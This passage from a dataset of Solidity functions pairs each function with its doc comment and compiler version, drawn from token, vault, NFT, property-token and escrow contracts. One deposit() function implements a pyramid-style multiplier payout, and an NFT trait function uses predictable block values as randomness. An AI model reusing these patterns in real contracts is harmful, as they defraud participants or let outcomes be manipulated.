address\");\r\n require(_isTaxRecipient[wallet], \"Recipient has not been added\");\r\n uint16 _tax = _taxRecipientAmounts[wallet];\r\n\r\n for(uint8 i = 0; i < _taxRecipients.length; i++) {\r\n if(_taxRecipients[i] == wallet) {\r\n _taxTotal = _taxTotal - _tax;\r\n _taxRecipientAmounts[wallet] = 0;\r\n _taxRecipients[i] = _taxRecipients[_taxRecipients.length - 1];\r\n _isTaxRecipient[wallet] = false;\r\n _taxRecipients.pop();\r\n emit RemoveTaxRecipient(wallet);\r\n\r\n break;\r\n }\r\n }\r\n }", "version": "0.8.0"} {"comment": "/**\r\n * @notice : withdraws taxable amount to tax recipients\r\n */", "function_code": "function distributeTaxes() external onlyOwner {\r\n require(balanceOf(address(this)) > 0, \"Nothing to withdraw\");\r\n uint256 taxableAmount = balanceOf(address(this));\r\n for(uint8 i = 0; i < _taxRecipients.length; i++) {\r\n address taxAddress = _taxRecipients[i];\r\n if(i == _taxRecipients.length - 1) {\r\n _transfer(address(this), taxAddress, balanceOf(address(this)));\r\n } else {\r\n uint256 amount = taxableAmount * _taxRecipientAmounts[taxAddress]/_taxTotal;\r\n _transfer(address(this), taxAddress, amount);\r\n }\r\n }\r\n }", "version": "0.8.0"} {"comment": "/**\r\n * Deposit ETH to get in line to be credited back the multiplier as a percent,\r\n * add that ETH to the pool, get the dividends and put them in the pool,\r\n * then pay out who we owe and buy more tokens.\r\n */", "function_code": "function deposit() payable public limitBuy() {\r\n //You have to send more than 1000000 wei.\r\n require(msg.value > 1000000);\r\n //Compute how much to pay them\r\n uint256 amountCredited = (msg.value * multiplier) / 100;\r\n //Get in line to be paid back.\r\n participants.push(Participant(msg.sender, amountCredited));\r\n //Increase the backlog by the amount owed\r\n backlog += amountCredited;\r\n //Increase the amount owed to this address\r\n creditRemaining[msg.sender] += amountCredited;\r\n //Emit a deposit event.\r\n emit Deposit(msg.value, msg.sender);\r\n //If I have dividends\r\n if(myDividends() > 0){\r\n //Withdraw dividends\r\n withdraw();\r\n }\r\n //Pay people out and buy more tokens.\r\n payout();\r\n }", "version": "0.4.24"} {"comment": "/// @dev check that vault has sufficient funds is done by the call to vault", "function_code": "function earn(address strategy, uint256 amount) public updateEpoch {\r\n require(msg.sender == strategy, \"!strategy\");\r\n address token = IStrategy(strategy).want();\r\n require(approvedStrategies[token][strategy], \"strat !approved\");\r\n TokenStratInfo storage info = tokenStratsInfo[token];\r\n uint256 newInvestedAmount = investedAmounts[strategy].add(amount);\r\n require(newInvestedAmount <= capAmounts[strategy], \"hit strategy cap\");\r\n // update invested amount\r\n investedAmounts[strategy] = newInvestedAmount;\r\n // transfer funds to strategy\r\n info.vault.transferFundsToStrategy(strategy, amount);\r\n }", "version": "0.5.17"} {"comment": "// handle vault withdrawal", "function_code": "function withdraw(address token, uint256 withdrawAmount) external updateEpoch {\r\n TokenStratInfo storage info = tokenStratsInfo[token];\r\n require(msg.sender == (address(info.vault)), \"!vault\");\r\n uint256 remainingWithdrawAmount = withdrawAmount;\r\n\r\n for (uint256 i = 0; i < info.strategies.length; i++) {\r\n if (remainingWithdrawAmount == 0) break;\r\n IStrategy strategy = info.strategies[i];\r\n // withdraw maximum amount possible\r\n uint256 actualWithdrawAmount = Math.min(\r\n investedAmounts[address(strategy)], remainingWithdrawAmount\r\n );\r\n // update remaining withdraw amt\r\n remainingWithdrawAmount = remainingWithdrawAmount.sub(actualWithdrawAmount);\r\n // update strat invested amt\r\n investedAmounts[address(strategy)] = investedAmounts[address(strategy)]\r\n .sub(actualWithdrawAmount);\r\n // do the actual withdrawal\r\n strategy.withdraw(actualWithdrawAmount);\r\n }\r\n }", "version": "0.5.17"} {"comment": "//process the fees, hdx20 appreciation, calcul results at the end of the race", "function_code": "function process_Taxes( GameRoundData_s storage _GameRoundData ) private\r\n {\r\n uint32 turnround = _GameRoundData.extraData[0];\r\n \r\n if (turnround>0 && turnround<(1<<30))\r\n { \r\n _GameRoundData.extraData[0] = turnround | (1<<30);\r\n \r\n uint256 _sharePrice = _GameRoundData.sharePrice;\r\n \r\n uint256 _potValue = _GameRoundData.treasureSupply.mul( _sharePrice ) / magnitude;\r\n \r\n \r\n uint256 _treasure = SafeMath.mul( _potValue , TreasureFees) / 100; \r\n \r\n uint256 _appreciation = SafeMath.mul( _potValue , AppreciationFees) / 100; \r\n \r\n uint256 _dev = SafeMath.mul( _potValue , DevFees) / 100;\r\n \r\n genTreasure = genTreasure.add( _treasure );\r\n \r\n //distribute devfees in hdx20 token\r\n if (_dev>0)\r\n {\r\n HDXcontract.buyTokenFromGame.value( _dev )( owner , address(0));\r\n }\r\n \r\n //distribute the profit to the token holders pure profit\r\n if (_appreciation>0 )\r\n {\r\n \r\n HDXcontract.appreciateTokenPrice.value( _appreciation )();\r\n \r\n }\r\n \r\n \r\n \r\n \r\n }\r\n \r\n }", "version": "0.4.25"} {"comment": "// Withdraw partial funds", "function_code": "function withdraw(address _token, address _gauge, uint256 _amount) public returns(bool){\n require(msg.sender == operator, \"!auth\");\n uint256 _balance = IERC20(_token).balanceOf(address(this));\n if (_balance < _amount) {\n _amount = _withdrawSome(_gauge, _amount.sub(_balance));\n _amount = _amount.add(_balance);\n }\n IERC20(_token).safeTransfer(msg.sender, _amount);\n return true;\n }", "version": "0.6.12"} {"comment": "// Function for token sell contract to call on transfers", "function_code": "function transferFromTokenSell(address _to, address _from, uint256 _amount) external onlyTokenSale returns (bool success) {\r\n\t\trequire(_amount > 0);\r\n\t\trequire(_to != 0x0);\r\n\t\trequire(balanceOf(_from) >= _amount);\r\n\t\tdecrementBalance(_from, _amount);\r\n\t\taddToBalance(_to, _amount);\r\n\t\tTransfer(_from, _to, _amount);\r\n\t\treturn true;\r\n\t}", "version": "0.4.23"} {"comment": "// Finalize private. If there are leftover TTT, overflow to presale", "function_code": "function finalizePrivatesale() external onlyTokenSale returns (bool success) {\r\n\t\trequire(privatesaleFinalized == false);\r\n\t\tuint256 amount = balanceOf(privatesaleAddress);\r\n\t\tif (amount != 0) {\r\n\t\t\taddToBalance(presaleAddress, amount);\r\n\t\t\tdecrementBalance(privatesaleAddress, amount);\r\n\t\t}\r\n\t\tprivatesaleFinalized = true;\r\n\t\tPrivatesaleFinalized(amount);\r\n\t\treturn true;\r\n\t}", "version": "0.4.23"} {"comment": "// Finalize presale. If there are leftover TTT, overflow to crowdsale", "function_code": "function finalizePresale() external onlyTokenSale returns (bool success) {\r\n\t\trequire(presaleFinalized == false && privatesaleFinalized == true);\r\n\t\tuint256 amount = balanceOf(presaleAddress);\r\n\t\tif (amount != 0) {\r\n\t\t\taddToBalance(crowdsaleAddress, amount);\r\n\t\t\tdecrementBalance(presaleAddress, amount);\r\n\t\t}\r\n\t\tpresaleFinalized = true;\r\n\t\tPresaleFinalized(amount);\r\n\t\treturn true;\r\n\t}", "version": "0.4.23"} {"comment": "// Finalize crowdsale. If there are leftover TTT, add 10% to airdrop, 20% to ecosupply, burn 70% at a later date", "function_code": "function finalizeCrowdsale(uint256 _burnAmount, uint256 _ecoAmount, uint256 _airdropAmount) external onlyTokenSale returns(bool success) {\r\n\t\trequire(presaleFinalized == true && crowdsaleFinalized == false);\r\n\t\tuint256 amount = balanceOf(crowdsaleAddress);\r\n\t\tassert((_burnAmount.add(_ecoAmount).add(_airdropAmount)) == amount);\r\n\t\tif (amount > 0) {\r\n\t\t\tcrowdsaleBurnAmount = _burnAmount;\r\n\t\t\taddToBalance(ecoSupplyAddress, _ecoAmount);\r\n\t\t\taddToBalance(crowdsaleBurnAddress, crowdsaleBurnAmount);\r\n\t\t\taddToBalance(crowdsaleAirdropAddress, _airdropAmount);\r\n\t\t\tdecrementBalance(crowdsaleAddress, amount);\r\n\t\t\tassert(balanceOf(crowdsaleAddress) == 0);\r\n\t\t}\r\n\t\tcrowdsaleFinalized = true;\r\n\t\tCrowdsaleFinalized(amount);\r\n\t\treturn true;\r\n\t}", "version": "0.4.23"} {"comment": "/**\r\n \t* @dev Burns a specific amount of tokens. * added onlyOwner, as this will only happen from owner, if there are crowdsale leftovers\r\n \t* @param _value The amount of token to be burned.\r\n \t* @dev imported from https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/token/ERC20/BurnableToken.sol\r\n \t*/", "function_code": "function burn(uint256 _value) public onlyOwner {\r\n\t\trequire(_value <= balances[msg.sender]);\r\n\t\trequire(crowdsaleFinalized == true);\r\n\t\t// no need to require value <= totalSupply, since that would imply the\r\n\t\t// sender's balance is greater than the totalSupply, which *should* be an assertion failure\r\n\r\n\t\taddress burner = msg.sender;\r\n\t\tbalances[burner] = balances[burner].sub(_value);\r\n\t\ttotalSupply_ = totalSupply_.sub(_value);\r\n\t\tBurn(burner, _value);\r\n\t\tTransfer(burner, address(0), _value);\r\n\t}", "version": "0.4.23"} {"comment": "// Transfer tokens from the vested address. 50% available 12/01/2018, the rest available 06/01/2019", "function_code": "function transferFromVest(uint256 _amount) public onlyOwner {\r\n\t\trequire(block.timestamp > firstVestStartsAt);\r\n\t\trequire(crowdsaleFinalized == true);\r\n\t\trequire(_amount > 0);\r\n\t\tif(block.timestamp > secondVestStartsAt) {\r\n\t\t\t// all tokens available for vest withdrawl\r\n\t\t\trequire(_amount <= teamSupply);\r\n\t\t\trequire(_amount <= balanceOf(teamSupplyAddress));\r\n\t\t} else {\r\n\t\t\t// only first vest available\r\n\t\t\trequire(_amount <= (firstVestAmount - currentVestedAmount));\r\n\t\t\trequire(_amount <= balanceOf(teamSupplyAddress));\r\n\t\t}\r\n\t\tcurrentVestedAmount = currentVestedAmount.add(_amount);\r\n\t\taddToBalance(msg.sender, _amount);\r\n\t\tdecrementBalance(teamSupplyAddress, _amount);\r\n\t\tTransfer(teamSupplyAddress, msg.sender, _amount);\r\n\t}", "version": "0.4.23"} {"comment": "/**\n * @dev Returns the address where a contract will be stored if deployed via {deploy} from a contract located at\n * `deployer`. If `deployer` is this contract's address, returns the same value as {computeAddress}.\n */", "function_code": "function computeAddress(bytes32 salt, bytes memory bytecodeHash, address deployer) internal pure returns (address) {\n bytes32 bytecodeHashHash = keccak256(bytecodeHash);\n bytes32 _data = keccak256(\n abi.encodePacked(bytes1(0xff), deployer, salt, bytecodeHashHash)\n );\n return address(bytes20(_data << 96));\n }", "version": "0.7.6"} {"comment": "/** @notice Allow us to transfer tokens that someone might've accidentally sent to this contract\r\n @param _tokenAddress this is the address of the token contract\r\n @param _recipient This is the address of the person receiving the tokens\r\n @param _amount This is the amount of tokens to send\r\n */", "function_code": "function transferForeignToken(\r\n address _tokenAddress,\r\n address _recipient,\r\n uint256 _amount)\r\n public\r\n onlyAdmin\r\n returns (bool)\r\n {\r\n require(_recipient != address(0), \"recipient address can't be empty\");\r\n // don't allow us to transfer RTC tokens stored in this contract\r\n require(_tokenAddress != TOKENADDRESS, \"token can't be RTC\");\r\n ERC20Interface eI = ERC20Interface(_tokenAddress);\r\n require(eI.transfer(_recipient, _amount), \"token transfer failed\");\r\n emit ForeignTokenTransfer(msg.sender, _recipient, _amount);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/// @inheritdoc IAloePredictionsDerivedState", "function_code": "function current()\n external\n view\n override\n returns (\n bool,\n uint176,\n uint128,\n uint128\n )\n {\n require(epoch != 0, \"Aloe: No data yet\");\n\n uint176 mean = computeMean();\n (uint256 lower, uint256 upper) = computeSemivariancesAbout(mean);\n return (\n didInvertPrices,\n mean,\n // Each proposal is a uniform distribution aiming to be `GROUND_TRUTH_STDDEV_SCALE` sigma wide.\n // So we have to apply a scaling factor (sqrt(6)) to make results more gaussian.\n uint128((Math.sqrt(lower) * SQRT_6) / (1000 * GROUND_TRUTH_STDDEV_SCALE)),\n uint128((Math.sqrt(upper) * SQRT_6) / (1000 * GROUND_TRUTH_STDDEV_SCALE))\n );\n }", "version": "0.8.4"} {"comment": "/// @inheritdoc IAloePredictionsActions", "function_code": "function advance() external override lock {\n require(summaries[epoch].accumulators.stakeTotal != 0, \"Aloe: No proposals with stake\");\n require(uint32(block.timestamp) > epochExpectedEndTime(), \"Aloe: Too early\");\n epochStartTime = uint32(block.timestamp);\n\n if (epoch != 0) {\n (Bounds memory groundTruth, bool shouldInvertPricesNext) = fetchGroundTruth();\n emit FetchedGroundTruth(groundTruth.lower, groundTruth.upper, didInvertPrices);\n\n summaries[epoch - 1].groundTruth = groundTruth;\n didInvertPrices = shouldInvertPrices;\n shouldInvertPrices = shouldInvertPricesNext;\n\n _consolidateAccumulators(epoch - 1);\n }\n\n epoch++;\n INCENTIVE_VAULT.claimAdvanceIncentive(address(ALOE), msg.sender);\n emit Advanced(epoch, uint32(block.timestamp));\n }", "version": "0.8.4"} {"comment": "/**\n * @dev See {IERC1155-balanceOf}.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */", "function_code": "function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {\n require(account != address(0), \"ERC1155: balance query for the zero address\");\n (address owner,,) = getData(id);\n if(owner == account) {\n return 1;\n }\n return 0;\n }", "version": "0.8.2"} {"comment": "/**\n * @dev Returns the score of an amulet.\n * 0-3: Not an amulet\n * 4: common\n * 5: uncommon\n * 6: rare\n * 7: epic\n * 8: legendary\n * 9: mythic\n * 10+: beyond mythic\n */", "function_code": "function getScore(string memory amulet) public override pure returns(uint32) {\n uint256 hash = uint256(sha256(bytes(amulet)));\n uint maxlen = 0;\n uint len = 0;\n for(;hash > 0; hash >>= 4) {\n if(hash & 0xF == 8) {\n len += 1;\n if(len > maxlen) {\n maxlen = len;\n }\n } else {\n len = 0;\n }\n }\n return uint32(maxlen); \n }", "version": "0.8.2"} {"comment": "/**\n * @dev Mint a new amulet.\n * @param data The ID and owner for the new token.\n */", "function_code": "function mint(MintData memory data) public override {\n require(data.owner != address(0), \"ERC1155: mint to the zero address\");\n require(_tokens[data.tokenId] == 0, \"ERC1155: mint of existing token\");\n\n _tokens[data.tokenId] = uint256(uint160(data.owner));\n emit TransferSingle(msg.sender, address(0), data.owner, data.tokenId, 1);\n\n _doSafeTransferAcceptanceCheck(msg.sender, address(0), data.owner, data.tokenId, 1, \"\");\n }", "version": "0.8.2"} {"comment": "/**\n * @dev Reveals an amulet.\n * @param data The title, text, and offset URL for the amulet.\n */", "function_code": "function reveal(RevealData calldata data) public override {\n require(bytes(data.amulet).length <= 64, \"Amulet: Too long\");\n uint256 tokenId = uint256(keccak256(bytes(data.amulet)));\n (address owner, uint64 blockRevealed, uint32 score) = getData(tokenId);\n require(\n owner == msg.sender || isApprovedForAll(owner, msg.sender),\n \"Amulet: reveal caller is not owner nor approved\"\n );\n require(blockRevealed == 0, \"Amulet: Already revealed\");\n\n score = getScore(data.amulet);\n require(score >= 4, \"Amulet: Score too low\");\n\n setData(tokenId, owner, uint64(block.number), score);\n emit AmuletRevealed(tokenId, msg.sender, data.title, data.amulet, data.offsetURL);\n }", "version": "0.8.2"} {"comment": "/**\n * @dev Returns the Amulet's owner address, the block it was revealed in, and its score.\n */", "function_code": "function getData(uint256 tokenId) public override view returns(address owner, uint64 blockRevealed, uint32 score) {\n uint256 t = _tokens[tokenId];\n owner = address(uint160(t));\n blockRevealed = uint64(t >> 160);\n score = uint32(t >> 224);\n }", "version": "0.8.2"} {"comment": "/**************************************************************************\n * Internal/private methods\n *************************************************************************/", "function_code": "function _doSafeTransferAcceptanceCheck(\n address operator,\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n )\n private\n {\n if (to.isContract()) {\n try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {\n if (response != IERC1155Receiver(to).onERC1155Received.selector) {\n revert(\"ERC1155: ERC1155Receiver rejected tokens\");\n }\n } catch Error(string memory reason) {\n revert(reason);\n } catch {\n revert(\"ERC1155: transfer to non ERC1155Receiver implementer\");\n }\n }\n }", "version": "0.8.2"} {"comment": "/**\n * @dev function to claim the Frens NFT\n */", "function_code": "function claimNFF()\n external\n onlyWhitelisted\n {\n //validation before minting\n require(\n maxTokensPerWallet[msg.sender] == 0,\n \"NFF: You are not allowed to mint anymore tokens\"\n );\n require(\n _pauseContract == false,\n \"NFF: Contract is paused!\"\n );\n\n maxTokensPerWallet[msg.sender] += 1;\n setTraitName(_tokenIds.current());\n setTraitValue(_tokenIds.current());\n _safeMint(msg.sender, _tokenIds.current());\n _tokenIds.increment();\n }", "version": "0.8.6"} {"comment": "/**\n * @dev override the tokenURI and generate the metadata on-chain\n */", "function_code": "function tokenURI(uint256 tokenId)\n public\n view\n override\n returns (string memory)\n {\n require(\n _exists(tokenId),\n \"ERC721Metadata: URI query for nonexistent token\"\n );\n\n return\n string(\n abi.encodePacked(\n \"data:application/json;base64,\",\n FrensLib.encode(\n bytes(\n string(\n abi.encodePacked(\n '{\"name\": \"Non Fungible Frens Cartridge #',\n FrensLib.toString(tokenId),\n '\",\"description\": \"The NFF genesis cartridge permits access to the Frens Discord restricted channels. Each holder is entitled to a vote in the governance of the Non Fungible Frens DAO.\", \"image\":\"',\n imageURI,\n '\",\"animation_url\":\"',\n animationURI,\n '\",\"attributes\":',\n hashToMetadata(tokenId),\n \"}\"\n )\n )\n )\n )\n )\n );\n }", "version": "0.8.6"} {"comment": "/**\n * @dev set the initial lvl value for the trait\n */", "function_code": "function setTraitValue(uint _tokenId)\n internal\n {\n SEED++;\n uint tempValue = uint256(\n keccak256(\n abi.encodePacked(\n block.timestamp,\n block.difficulty,\n _tokenId,\n msg.sender,\n SEED\n )\n )\n ) % 100;\n\n if (tempValue == 0) tempValue = 1;\n\n traitTypes[_tokenId].traitValue = uint8(tempValue);\n }", "version": "0.8.6"} {"comment": "// BURNER INTERFACE", "function_code": "function initiateTokenBurn(uint256 _tokenId) external {\r\n require(msg.sender == burner, \"Only burner allowed\");\r\n require(burnTimeoutAt[_tokenId] == 0, \"Burn already initiated\");\r\n require(tokenContract.ownerOf(_tokenId) != address(0), \"Token doesn't exists\");\r\n\r\n uint256 duration = burnTimeoutDuration[_tokenId];\r\n if (duration == 0) {\r\n duration = defaultBurnTimeoutDuration;\r\n }\r\n\r\n uint256 timeoutAt = block.timestamp.add(duration);\r\n burnTimeoutAt[_tokenId] = timeoutAt;\r\n\r\n emit InitiateTokenBurn(_tokenId, timeoutAt);\r\n }", "version": "0.5.16"} {"comment": "// CONTROLLER INTERFACE", "function_code": "function setInitialDetails(\r\n uint256 _privatePropertyId,\r\n IPPToken.TokenType _tokenType,\r\n IPPToken.AreaSource _areaSource,\r\n uint256 _area,\r\n bytes32 _ledgerIdentifier,\r\n string calldata _humanAddress,\r\n string calldata _dataLink,\r\n bool _claimUniqueness\r\n )\r\n external\r\n onlyMinter\r\n {\r\n // Will REVERT if there is no owner assigned to the token\r\n tokenContract.ownerOf(_privatePropertyId);\r\n\r\n uint256 setupStage = tokenContract.getSetupStage(_privatePropertyId);\r\n require(setupStage == uint256(PropertyInitialSetupStage.PENDING), \"Requires PENDING setup stage\");\r\n\r\n tokenContract.setDetails(_privatePropertyId, _tokenType, _areaSource, _area, _ledgerIdentifier, _humanAddress, _dataLink);\r\n\r\n tokenContract.incrementSetupStage(_privatePropertyId);\r\n\r\n _updateDetailsUpdatedAt(_privatePropertyId);\r\n\r\n tokenContract.setPropertyExtraData(_privatePropertyId, CLAIM_UNIQUENESS_KEY, bytes32(uint256(_claimUniqueness ? 1 : 0)));\r\n }", "version": "0.5.16"} {"comment": "// COMMON INTERFACE", "function_code": "function propose(\r\n bytes calldata _data,\r\n string calldata _dataLink\r\n )\r\n external\r\n payable\r\n {\r\n address msgSender = msg.sender;\r\n uint256 tokenId = fetchTokenId(_data);\r\n uint256 proposalId = _nextId();\r\n\r\n Proposal storage p = proposals[proposalId];\r\n\r\n if (msgSender == geoDataManager) {\r\n p.geoDataManagerApproved = true;\r\n } else if (msgSender == tokenContract.ownerOf(tokenId)) {\r\n _acceptProposalFee();\r\n p.tokenOwnerApproved = true;\r\n } else {\r\n revert(\"Missing permissions\");\r\n }\r\n\r\n p.creator = msgSender;\r\n p.data = _data;\r\n p.dataLink = _dataLink;\r\n p.status = ProposalStatus.PENDING;\r\n\r\n emit NewProposal(proposalId, tokenId, msg.sender);\r\n }", "version": "0.5.16"} {"comment": "// PERMISSIONLESS INTERFACE", "function_code": "function execute(uint256 _proposalId) public {\r\n Proposal storage p = proposals[_proposalId];\r\n\r\n require(p.tokenOwnerApproved == true, \"Token owner approval required\");\r\n require(p.geoDataManagerApproved == true, \"GeoDataManager approval required\");\r\n require(p.status == ProposalStatus.APPROVED, \"Expect APPROVED status\");\r\n\r\n _preExecuteHook(p.data);\r\n\r\n p.status = ProposalStatus.EXECUTED;\r\n\r\n (bool ok,) = address(tokenContract)\r\n .call\r\n .gas(gasleft().sub(50000))(p.data);\r\n\r\n if (ok == false) {\r\n emit ProposalExecutionFailed(_proposalId);\r\n p.status = ProposalStatus.APPROVED;\r\n } else {\r\n emit ProposalExecuted(_proposalId);\r\n }\r\n }", "version": "0.5.16"} {"comment": "// USER INTERFACE", "function_code": "function build(\r\n string calldata _tokenName,\r\n string calldata _tokenSymbol,\r\n string calldata _dataLink,\r\n uint256 _defaultBurnDuration,\r\n bytes32[] calldata _feeKeys,\r\n uint256[] calldata _feeValues,\r\n bytes32 _legalAgreementIpfsHash\r\n )\r\n external\r\n payable\r\n returns (address)\r\n {\r\n _acceptPayment();\r\n\r\n // building contracts\r\n PPToken ppToken = new PPToken(\r\n _tokenName,\r\n _tokenSymbol\r\n );\r\n PPTokenController ppTokenController = ppTokenControllerFactory.build(globalRegistry, ppToken, _defaultBurnDuration);\r\n\r\n // setting up contracts\r\n ppToken.setContractDataLink(_dataLink);\r\n ppToken.setLegalAgreementIpfsHash(_legalAgreementIpfsHash);\r\n ppToken.setController(address(ppTokenController));\r\n ppTokenController.setMinter(msg.sender);\r\n ppTokenController.setGeoDataManager(msg.sender);\r\n\r\n ppTokenController.setFeeManager(address(this));\r\n\r\n for (uint256 i = 0; i < _feeKeys.length; i++) {\r\n ppTokenController.setFee(_feeKeys[i], _feeValues[i]);\r\n }\r\n\r\n ppTokenController.setFeeManager(msg.sender);\r\n ppTokenController.setFeeCollector(msg.sender);\r\n\r\n // transferring ownership\r\n ppTokenController.transferOwnership(msg.sender);\r\n ppToken.transferOwnership(msg.sender);\r\n\r\n IPPTokenRegistry(globalRegistry.getPPTokenRegistryAddress())\r\n .addToken(address(ppToken));\r\n\r\n emit Build(address(ppToken), address(ppTokenController));\r\n\r\n return address(ppToken);\r\n }", "version": "0.5.16"} {"comment": "/// @notice converts number to string\n/// @dev source: https://github.com/provable-things/ethereum-api/blob/master/oraclizeAPI_0.5.sol#L1045\n/// @param _i integer to convert\n/// @return _uintAsString", "function_code": "function uintToStr(uint _i) internal pure returns (string memory _uintAsString) {\r\n uint number = _i;\r\n if (number == 0) {\r\n return \"0\";\r\n }\r\n uint j = number;\r\n uint len;\r\n while (j != 0) {\r\n len++;\r\n j /= 10;\r\n }\r\n bytes memory bstr = new bytes(len);\r\n uint k = len - 1;\r\n while (number != 0) {\r\n bstr[k--] = byte(uint8(48 + number % 10));\r\n number /= 10;\r\n }\r\n return string(bstr);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev function withdraw ETH to account owner\r\n * @param _amount is amount withdraw\r\n */", "function_code": "function withdrawETH(uint256 _amount) external onlyOwner {\r\n require(_amount > 0, \"_amount must be greater than 0\");\r\n require(\r\n address(this).balance >= _amount,\r\n \"_amount must be less than the ETH balance of the contract\"\r\n );\r\n msg.sender.transfer(_amount);\r\n }", "version": "0.6.12"} {"comment": "//@dev returns the tokenURI of tokenID", "function_code": "function tokenURI(uint256 tokenId)\r\n public\r\n view\r\n virtual\r\n override\r\n returns (string memory)\r\n {\r\n require(\r\n _exists(tokenId),\r\n \"Huey: URI query for nonexistent token\"\r\n );\r\n \r\n\r\n string memory currentBaseURI = _baseURI();\r\n return bytes(currentBaseURI).length > 0\r\n ? string(abi.encodePacked(currentBaseURI, CurrentHash))\r\n : \"\";\r\n }", "version": "0.8.11"} {"comment": "// Withdraw to notifinance + board", "function_code": "function withdraw() public payable onlyOwner {\r\n // 1% of all profits are split between members of the board\r\n uint256 boardCut = address(this).balance * 1 / 100;\r\n\r\n for (uint i = 0; i < board.length - 1; i++) {\r\n (bool hs, ) = payable(board[i]).call{value: boardCut / board.length}(\"\");\r\n require(hs);\r\n }\r\n\r\n // Rest is sent to noti.finance\r\n (bool os, ) = payable(owner()).call{value: address(this).balance}(\"\");\r\n require(os);\r\n }", "version": "0.8.7"} {"comment": "// Whitelist mint - whitelisted users can mint up to the max mint amount", "function_code": "function whitelistMint(uint256 amount) public payable mintable(amount) {\r\n require(status == Status.WHITELIST, \"Whitelist sale currently unavailable\");\r\n require(whitelisted[msg.sender] == true, \"You are not whitelisted\");\r\n require(numMinted[msg.sender] + amount <= maxMintPerWallet, \"You reached the max mintable.\");\r\n mint(amount);\r\n }", "version": "0.8.7"} {"comment": "// Action functions", "function_code": "function changeContractOwner(address _newOwner) public {\r\n require (msg.sender == owner); // Only the current owner can change the ownership of the contract\r\n \r\n owner = _newOwner; // Update the owner\r\n\r\n // Trigger ownership change event.\r\n emit ChangedOwnership(_newOwner);\r\n }", "version": "0.4.26"} {"comment": "// fiatTrader adds collateral to the open swap", "function_code": "function addFiatTraderCollateral(bytes32 _tradeID, uint256 _erc20Value) public onlyInitializedSwaps(_tradeID) {\r\n Swap storage swap = swaps[_tradeID]; // Get information about the swap position\r\n require (_erc20Value >= swap.daiTraderCollateral); // Cannot send less than what the daiTrader has in collateral\r\n require (msg.sender == swap.fiatTrader); // Only the fiatTrader can add to the swap position\r\n // Check the allowance\r\n ERC20 daiContract = ERC20(daiAddress); // Load the DAI contract\r\n require(_erc20Value <= daiContract.allowance(msg.sender, address(this))); // We must transfer less than that we approve in the ERC20 token contract \r\n swap.fiatTraderCollateral = _erc20Value;\r\n swap.swapState = States.ACTIVE; // Now fiatTrader needs to send fiat\r\n\r\n // Now transfer the tokens\r\n require(daiContract.transferFrom(msg.sender, address(this), _erc20Value)); // Now take the tokens from the sending user and store in this contract \r\n }", "version": "0.4.26"} {"comment": "// daiTrader is refunding as fiatTrader never sent the collateral", "function_code": "function refundSwap(bytes32 _tradeID) public onlyInitializedSwaps(_tradeID) {\r\n // Refund the swap.\r\n Swap storage swap = swaps[_tradeID];\r\n require (msg.sender == swap.daiTrader); // Only the daiTrader can call this function to refund\r\n swap.swapState = States.REFUNDED; // Swap is now refunded, sending all DAI back\r\n\r\n // Transfer the DAI value from this contract back to the DAI trader.\r\n ERC20 daiContract = ERC20(daiAddress); // Load the DAI contract\r\n require(daiContract.transfer(swap.daiTrader, swap.sendAmount + swap.daiTraderCollateral));\r\n\r\n // Trigger cancel event.\r\n emit Canceled(_tradeID, 0);\r\n }", "version": "0.4.26"} {"comment": "// daiTrader is aborting as fiatTrader failed to hold up its part of the swap\n// Aborting refunds the sendAmount to daiTrader but returns part of the collateral based on the penalty\n// Penalty must be between 75-100%", "function_code": "function diaTraderAbort(bytes32 _tradeID, uint256 penaltyPercent) public onlyActiveSwaps(_tradeID) {\r\n // diaTrader aborted the swap.\r\n require (penaltyPercent >= 75000 && penaltyPercent <= 100000); // Penalty must be between 75-100%\r\n\r\n Swap storage swap = swaps[_tradeID];\r\n require (msg.sender == swap.daiTrader); // Only the daiTrader can call this function to abort\r\n swap.swapState = States.DAIABORT; // Swap is now aborted\r\n\r\n // Calculate the penalty amounts\r\n uint256 penaltyAmount = (swap.daiTraderCollateral * penaltyPercent) / 100000;\r\n ERC20 daiContract = ERC20(daiAddress); // Load the DAI contract\r\n if(penaltyAmount > 0){\r\n swap.feeAmount = penaltyAmount;\r\n require(daiContract.transfer(owner, penaltyAmount * 2));\r\n } \r\n\r\n // Transfer the DAI send amount and collateral from this contract back to the DAI trader.\r\n require(daiContract.transfer(swap.daiTrader, swap.sendAmount + swap.daiTraderCollateral - penaltyAmount));\r\n \r\n // Transfer the DAI collateral from this contract back to the fiat trader.\r\n require(daiContract.transfer(swap.fiatTrader, swap.fiatTraderCollateral - penaltyAmount));\r\n\r\n // Trigger cancel event.\r\n emit Canceled(_tradeID, penaltyAmount);\r\n }", "version": "0.4.26"} {"comment": "// fiatTrader is aborting due to unexpected difficulties sending fiat\n// Aborting refunds the sendAmount to daiTrader but returns part of the collateral based on the penalty\n// Penalty must be between 2.5-100%", "function_code": "function fiatTraderAbort(bytes32 _tradeID, uint256 penaltyPercent) public onlyActiveSwaps(_tradeID) {\r\n // fiatTrader aborted the swap.\r\n require (penaltyPercent >= 2500 && penaltyPercent <= 100000); // Penalty must be between 2.5-100%\r\n\r\n Swap storage swap = swaps[_tradeID];\r\n require (msg.sender == swap.fiatTrader); // Only the fiatTrader can call this function to abort\r\n swap.swapState = States.FIATABORT; // Swap is now aborted\r\n\r\n // Calculate the penalty amounts\r\n uint256 penaltyAmount = (swap.daiTraderCollateral * penaltyPercent) / 100000;\r\n ERC20 daiContract = ERC20(daiAddress); // Load the DAI contract\r\n if(penaltyAmount > 0){\r\n swap.feeAmount = penaltyAmount;\r\n require(daiContract.transfer(owner, penaltyAmount * 2));\r\n } \r\n\r\n // Transfer the DAI send amount and collateral from this contract back to the DAI trader.\r\n require(daiContract.transfer(swap.daiTrader, swap.sendAmount + swap.daiTraderCollateral - penaltyAmount));\r\n \r\n // Transfer the DAI collateral from this contract back to the fiat trader.\r\n require(daiContract.transfer(swap.fiatTrader, swap.fiatTraderCollateral - penaltyAmount));\r\n\r\n // Trigger cancel event.\r\n emit Canceled(_tradeID, penaltyAmount);\r\n }", "version": "0.4.26"} {"comment": "/* Trying out function parameters for a functional map */", "function_code": "function mapToken(IERC20[] storage self, function (IERC20) view returns (uint256) f) internal view returns (uint256[] 